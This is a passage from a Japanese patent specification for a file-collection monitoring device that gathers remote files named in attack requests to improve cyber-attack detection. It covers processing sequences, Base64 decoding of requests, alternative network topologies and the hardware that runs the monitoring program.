図１０は、実施例１に係るファイル収集監視装置６によるファイル取得要求送信処理の手順を示すシーケンス図である。図１０に示すように、実施例１に係るファイル収集監視装置６においては、文字列解析環境６３１、動作環境６３２又は動作環境６３３は、文字列又はファイル取得要求を抽出すると（ステップＳ１０９）、抽出した文字列又はファイル取得要求をデータ受信部アクセス監視部６２３に送信する（ステップＳ２０１）。
【００７０】
データ受信部アクセス監視部６２３は、文字列又はファイル取得要求を受信すると、アクセスデータ管理部６２４に対してＵＲＬの判定を要求する（ステップＳ２０２）。アクセスデータ管理部６２４は、データ受信部アクセス監視部６２３からＵＲＬの判定を要求されると、ＵＲＬを記憶しているか否かを判定し（ステップＳ２０３）、判定結果をデータ受信部アクセス監視部６２３に送信する（ステップＳ２０４）。
【００７１】
データ受信部アクセス監視部６２３は、判定結果を受信すると、ＵＲＬが記憶されていたか否かを判定する（ステップＳ２０５）。ここで、ＵＲＬが記憶されていなかった場合には（ステップＳ２０５否定）、データ受信部アクセス監視部６２３は、文字列を宛先ＵＲＬとしたファイル取得要求、或いは、動作環境６３２又は動作環境６３３から受信したファイル取得要求をネットワークに送信する（ステップＳ２０６）。なお、ステップＳ２０５の判定においてＵＲＬが記憶されていた場合には（ステップＳ２０５肯定）、ファイル収集監視装置６は、以後の処理を実行しない。
【００７２】
なお、ステップＳ２０４におけるＵＲＬの判定に用いられるＵＲＬのリストは、取得済みのファイルのＵＲＬ、又は、予め取得を禁止されたファイルのＵＲＬのどちらか一方、或いは、その両方である。
【００７３】
［実施例１に係るファイル収集監視装置によるファイル解析処理の手順］
図１１は、実施例１に係るファイル収集監視装置６によるファイル解析処理の手順を示すシーケンス図である。図１１に示すように、実施例１に係るファイル収集監視装置６においては、データ受信部アクセス監視部６２３は、ネットワークからファイル取得要求に応じたファイルを受信すると（ステップＳ３０１）、アクセスデータ管理部６２４にファイル取得を通知し（ステップＳ３０２）、取得したファイルを転送先特定部６２２に送信する（ステップＳ３０４）。
【００７４】
アクセスデータ管理部６２４は、データ受信部アクセス監視部６２３からファイル取得の通知を受付けると、ファイル取得先のＵＲＬを記憶する（ステップＳ３０３）。転送先特定部６２２は、データ受信部アクセス監視部６２３からファイルを受信すると、転送先を特定し（ステップＳ３０５）、特定した転送先にファイルを転送する（ステップＳ３０６）。文字列解析環境６３１、動作環境６３２又は動作環境６３３は、ファイルを受信すると、文字列又はファイル取得要求を抽出する（ステップＳ３０７）。なお、ネットワークから受信したファイルから抽出したファイル取得要求の送信処理の手順は、図１０と同様であることから説明を省略する。
【００７５】
［実施例１に係るファイル収集監視装置によるデータの保存処理の手順］
図１２は、実施例１に係るファイル収集監視装置６によるデータの保存処理の手順を示すシーケンス図である。図１２に示すように、実施例１に係るファイル収集監視装置６においては、サーバ送受信アクセス監視部６２１は、ネットワークからデータを受信し（ステップＳ４０１）、それに対するデータを送信すると（ステップＳ４０２）、それら通信の情報を解析データ収集部６２５に送信する（ステップＳ４０３）。
【００７６】
そして、データ受信部アクセス監視部６２３は、ネットワークからデータを受信し（ステップＳ４０４）、それに対するデータを送信すると（ステップＳ４０５）、それら通信の情報を解析データ収集部６２５に送信する（ステップＳ４０６）。そして、解析データ収集部６２５は、受信した情報を記憶する（ステップＳ４０７）。
【００７７】
［実施例１の効果］
上述したように、実施例１によれば、サーバ送受信アクセス監視部６２１がネットワーク上の任意のファイルをサーバ端末に取得させるリクエストを受信する。さらに、サーバ送受信アクセス監視部６２１が、リクエストに応じたサーバ端末によるファイル取得発生の有無を判定する。そして、データ受信部６３がサーバ送受信アクセス監視部６２１によってサーバ端末によるファイル取得が発生しないと判定された場合に、リクエストを解析して、ネットワークにおける任意のファイルの位置であるＵＲＬを特定する。データ受信部アクセス監視部６２３がデータ受信部６３によって特定されたＵＲＬを用いて任意のファイルを取得する要求であるファイル取得要求を生成する。さらに、データ受信部アクセス監視部６２３が生成したファイル取得要求をネットワークに送出することで、任意のファイルを取得する。従って、実施例１に係るファイル収集監視装置６は、サーバ端末部６１がリクエストに対する応答に失敗した場合であっても、当該リクエストに係る通信の情報やレスポンスに係る通信の情報を収集することができ、攻撃対象への攻撃に関する検知精度を向上させることを可能にする。
【００７８】
また、実施例１によれば、文字列解析環境６３１は、リクエストの文字列において予め定められた第１の文字列から別に定められた第２の文字列の直前までの文字列をＵＲＬとして特定する。従って、実施例１に係るファイル収集監視装置６は、種々のリクエストに対応することができ、サイバー攻撃に関わる有力な情報を多数収集することを可能にする。
【００７９】
また、実施例１によれば、転送先特定部６２２は、リクエストに含まれる拡張子を参照して、当該リクエストに応じた動作を実行する動作環境を特定し、特定した動作環境にリクエストに応じた動作を実行させることにより、ＵＲＬを特定する。従って、実施例１に係るファイル収集監視装置６は、リクエストに対するレスポンスの情報をより正確に収集することを可能にする。
【００８０】
また、実施例１によれば、文字列解析環境６３１は、データ受信部アクセス監視部６２３によって取得された任意のファイルに含まれる文字列において予め定められた第１の文字列から別に定められた第２の文字列の直前までの文字列をＵＲＬとして特定する。従って、実施例１に係るファイル収集監視装置６は、取得したファイルからさらに情報を収集することができ、リクエストに係る通信の情報やレスポンスに係る通信の情報をより多数収集することを可能にする。
【００８１】
また、実施例１によれば、転送先特定部６２２は、データ受信部アクセス監視部６２３によって取得された任意のファイルに含まれる文字列の特徴を参照して、当該ファイルに応じた動作を実行する動作環境を特定し、特定した動作環境にファイルに応じた動作を実行させることにより、前記統一資源位置指定子を特定する。従って、実施例１に係るファイル収集監視装置６は、取得したファイルからさらに情報を収集することができ、リクエストに対するレスポンスの情報をより正確により多数収集することを可能にする。
【００８２】
また、実施例１によれば、データ受信部アクセス監視部６２３は、ファイル取得要求をネットワークに送出する前段階で、ＵＲＬを記憶するアクセスデータ管理部６２４を参照し、現時点で取得しようとしているファイルのＵＲＬが記憶されているか否かを判定し、当該ＵＲＬがアクセスデータ管理部６２４に記憶されていないことを条件に、前記ファイル取得要求をネットワークに送出する。従って、実施例１に係るファイル収集監視装置６は、不要なファイル取得要求の発生を抑止することを可能とする。
【実施例２】
【００８３】
これまでいくつかの実施例を説明したが、本願が開示する技術はこれらの実施例に限定されるものではない。すなわち、これらの実施例は、その他の様々な形態で実施されることが可能であり、種々の省略、置き換え、変更を行うことができる。
【００８４】
（１）デコード処理
上述した実施例１では、リクエストやファイルなどを直接解析する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、エンコードされたリクエストをデコード処理した後に解析する場合であってもよい。かかる場合には、転送先特定部６２２又はデータ受信部６３における各環境にデコード処理を実行させる機能を備えるようにすればよい。図１３は、デコード処理に用いられるテーブルの一例を説明するための図である。
【００８５】
例えば、図１３に示すように、文字列の特徴とデコード方法とを対応付けたテーブルを、転送先特定部６２２又はデータ受信部６３における各環境に予め保持させる。そして、転送先特定部６２２又はデータ受信部６３における各環境に、リクエストの文字列の特徴に対応するデコード方法でリクエストをデコードさせるようにする。例を挙げると、単純に動作させることができず、かつ、一定の文字数以上であるリクエストに対しては、転送先特定部６２２又はデータ受信部６３における各環境にＢＡＳＥ６４でデコード処理を実行させるようにする。従って、ファイル収集監視装置６は、エンコードされたリクエストに対しても解析を実行することができ、より幅広いデータを対象に解析することで、より多数の情報を収集することを可能にする。
【００８６】
（２）ネットワークモデル
上述した実施例１では、ネットワーク１にファイル収集監視装置６と、ネットワーク２と、ネットワーク３とが収容されたネットワークモデルを用いる場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、種々の形態のネットワークモデルに適用することが可能である。以下では、実施例１とは異なるネットワークモデルについて説明する。
【００８７】
図１４は、実施例１とは異なるネットワークモデル１を説明するための図である。図１４に示すように、ネットワーク１は、ネットワーク２と、ネットワーク３と、ネットワーク４とを収容する。ネットワーク２及びネットワーク３には、それぞれユーザ端末２１とサーバ端末３１とが収容される。ネットワーク４には、サーバ端末４１と、サーバ端末４２と、データ受信部６３とが収容される。そして、図１４に示すように、ネットワーク２及びネットワーク３からサーバ端末４１及びサーバ端末４２に対するアクセスはデータ転送部６２を経由するようにトポロジを構成する。
【００８８】
すなわち、データ転送部６２は、ユーザ端末２１からサーバ端末４１又はサーバ端末４２へのリクエストや、サーバ端末４１又はサーバ端末４２からのレスポンスをもれなく監視することができ、リクエスト及びレスポンスに係る各種情報を収集することができる。
【００８９】
なお、ネットワーク２は、仮想ネットワークとして１台又は複数の物理サーバ上に実装することが可能である。かかる場合には、データ転送部６２やサーバ端末４１及びサーバ端末４２は、ＶＭＷａｒｅやＸｅｎなどの仮想化技術で構築された仮想端末上に構築することができる。
【００９０】
図１５は、実施例１とは異なるネットワークモデル２を説明するための図である。図１４に示すように、ネットワーク１は、ネットワーク２と、ネットワーク３と、ネットワーク４とを収容する。ネットワーク２及びネットワーク３には、それぞれユーザ端末２１とサーバ端末３１とが収容される。ネットワーク４には、サーバ端末４１が収容される。そして、図１５に示すように、ネットワーク２及びネットワーク３からサーバ端末４１に対するアクセスはデータ転送処理機能７を経由するようにトポロジを構成する。
【００９１】
データ転送処理機能７には、データ転送部６２と、データ受信部６３とを配置することで、ユーザ端末２１からサーバ端末４１へのリクエストや、サーバ端末４１からのレスポンスをもれなく監視することができ、リクエスト及びレスポンスに係る各種情報を収集することができる。
【００９２】
（３）文字列解析環境及び動作環境
上述した実施例１では、データ受信部６３に文字列解析環境６３１及び動作環境６３２、６３３を配置する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、文字列解析環境６３１のみを配置する場合であってもよい。また、動作環境６３２、６３３のみを配置する場合であってもよい。なお、文字列解析環境６３１のみを配置する場合には、データ転送部６２における転送先特定部６２２を取り除くことが可能である。
【００９３】
（４）ファイル取得要求の生成
データ受信部アクセス監視部６２３が文字列解析環境６３１から受信した文字列を宛先ＵＲＬとしたファイル取得要求を生成する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、文字列解析環境６３１が抽出した文字列を宛先ＵＲＬとしたファイル取得要求を生成する場合であってもよい。
【００９４】
（５）システム構成等
例えば、各装置の分散・統合の具体的形態（例えば、図２の形態）は図示のものに限られず、その全部又は一部を、各種の負荷や使用状況などに応じて、任意の単位で機能的又は物理的に分散・統合することができる。一例を挙げると、サーバ送受信アクセス監視部６２１とデータ受信部アクセス監視部６２３とを一つのアクセス監視部として統合してもよく、一方、アクセスデータ管理部を、ＵＲＬが記憶されているか否かを判定する判定部と、判定結果を通知する通知部とに分散してもよい。
【００９５】
（６）ファイル収集監視プログラム
上記実施例で説明したファイル収集監視装置６は、あらかじめ用意されたプログラムをコンピュータで実行することで実現することもできる。そこで、以下では、図２に示したファイル収集監視装置６と同様の機能を実現するファイル収集監視プログラムを実行するコンピュータの一例を説明する。
【００９６】
図１６は、本実施例に係るファイル収集監視プログラムを実行するコンピュータ１０００を示す図である。図１６に示すように、コンピュータ１０００は、例えば、メモリ１０１０と、ＣＰＵ（Central  Processing  Unit）１０２０と、ハードディスクドライブインタフェース１０３０と、ディスクドライブインタフェース１０４０と、シリアルポートインタフェース１０５０と、ビデオアダプタ１０６０と、ネットワークインタフェース１０７０とを有する。これらの各部は、バス１０８０によって接続される。 
【００９７】
メモリ１０１０は、ＲＯＭ（Read  Only  Memory）１０１１およびＲＡＭ（Random  Access  Memory）１０１２を含む。ＲＯＭ１０１０は、例えば、ＢＩＯＳ（Basic  Input  Output  System）等のブートプログラムを記憶する。ハードディスクドライブインタフェース１０３０は、ハードディスクドライブ１０９０に接続される。ディスクドライブインタフェース１０４０は、ディスクドライブ１１００に接続される。ディスクドライブ１１００には、例えば、磁気ディスクや光ディスク等の着脱可能な記憶媒体が挿入される。シリアルポートインタフェース１０５０には、例えば、マウス１１１０およびキーボード１１２０が接続される。ビデオアダプタ１０６０には、例えば、ディスプレイ１１３０が接続される。 
【００９８】
ここで、図１６に示すように、ハードディスクドライブ１０９０は、例えば、ＯＳ（Operating  System）１０９１、アプリケーションプログラム１０９２、プログラムモジュール１０９３およびプログラムデータ１０９４を記憶する。本実施例に係るファイル収集監視プログラムは、例えば、コンピュータ１０００によって実行される指令が記述されたプログラムモジュールとして、例えばハードディスクドライブ１０９０に記憶される。具体的には、上記実施例で説明したサーバ送受信アクセス監視部６２１と同様の情報処理を実行するサーバ送受信アクセス監視手順と、転送先特定部６２２と同様の情報処理を実行する転送先特定手順と、データ受信部アクセス監視部６２３と同様の情報処理を実行するデータ受信部アクセス監視手順と、アクセスデータ管理部６２４と同様の情報処理を実行するアクセスデータ管理手順と、文字列解析環境６３１と同様の情報処理を実行する文字列解析環境手順と、動作環境６３２や動作環境６３３と同様の情報処理を実行する動作環境手順とが記述されたプログラムモジュールが、ハードディスクドライブ１０９０に記憶される。 
【００９９】
また、上記実施例で説明した解析データ収集部６２５に記憶されるデータのように、ファイル収集監視プログラムによる情報処理に用いられるデータは、プログラムデータとして、例えば、ハードディスクドライブ１０９０に記憶される。そして、ＣＰＵ１０２０が、ハードディスクドライブ１０９０に記憶されたプログラムモジュールやプログラムデータを必要に応じてＲＡＭ１０１２に読み出して、サーバ送受信アクセス監視手順と、転送先特定手順と、データ受信部アクセス監視手順と、アクセスデータ管理手順と、文字列解析環境手順と、動作環境手順とを実行する。
【０１００】
なお、情報送受信プログラムに係るプログラムモジュールやプログラムデータは、ハードディスクドライブ１０９０に記憶される場合に限られず、例えば、着脱可能な記憶媒体に記憶されて、ディスクドライブ１１００等を介してＣＰＵ１０２０によって読み出されてもよい。あるいは、情報送受信プログラムに係るプログラムモジュールやプログラムデータは、ＬＡＮ（Local  Area  Network）やＷＡＮ（Wide  Area  Network）等のネットワークを介して接続された他のコンピュータに記憶され、ネットワークインタフェース１０７０を介してＣＰＵ１０２０によって読み出されてもよい。
【０１０１】
これらの実施例やその変形は、本願が開示する技術に含まれると同様に、特許請求の範囲に記載された発明とその均等の範囲に含まれるものである。
【符号の説明】
【０１０２】
１、２、３、４  ネットワーク
６  ファイル収集監視装置
７  データ転送処理機能
６１  サーバ端末部
６２  データ転送部
６３  データ受信部
６２１  サーバ送受信アクセス監視部
６２２  転送先特定部
６２３  データ受信部アクセス監視部
６２４  アクセスデータ管理部
６２５  解析データ収集部
６３１  文字列解析環境
６３２、６３３  動作環境
【図１】
0005456636.tif 000002
【図２】
0005456636.tif 000003
【図３】
0005456636.tif 000004
【図４】
0005456636.tif 000005
【図５】
0005456636.tif 000006
【図６】
0005456636.tif 000007
【図７】
0005456636.tif 000008
【図８】
0005456636.tif 000009
【図９】
0005456636.tif 000010
【図１０】
0005456636.tif 000011
【図１１】
0005456636.tif 000012
【図１２】
0005456636.tif 000013
【図１３】
0005456636.tif 000014
【図１４】
0005456636.tif 000015
【図１５】
0005456636.tif 000016
【図１６】
0005456636.tif 000017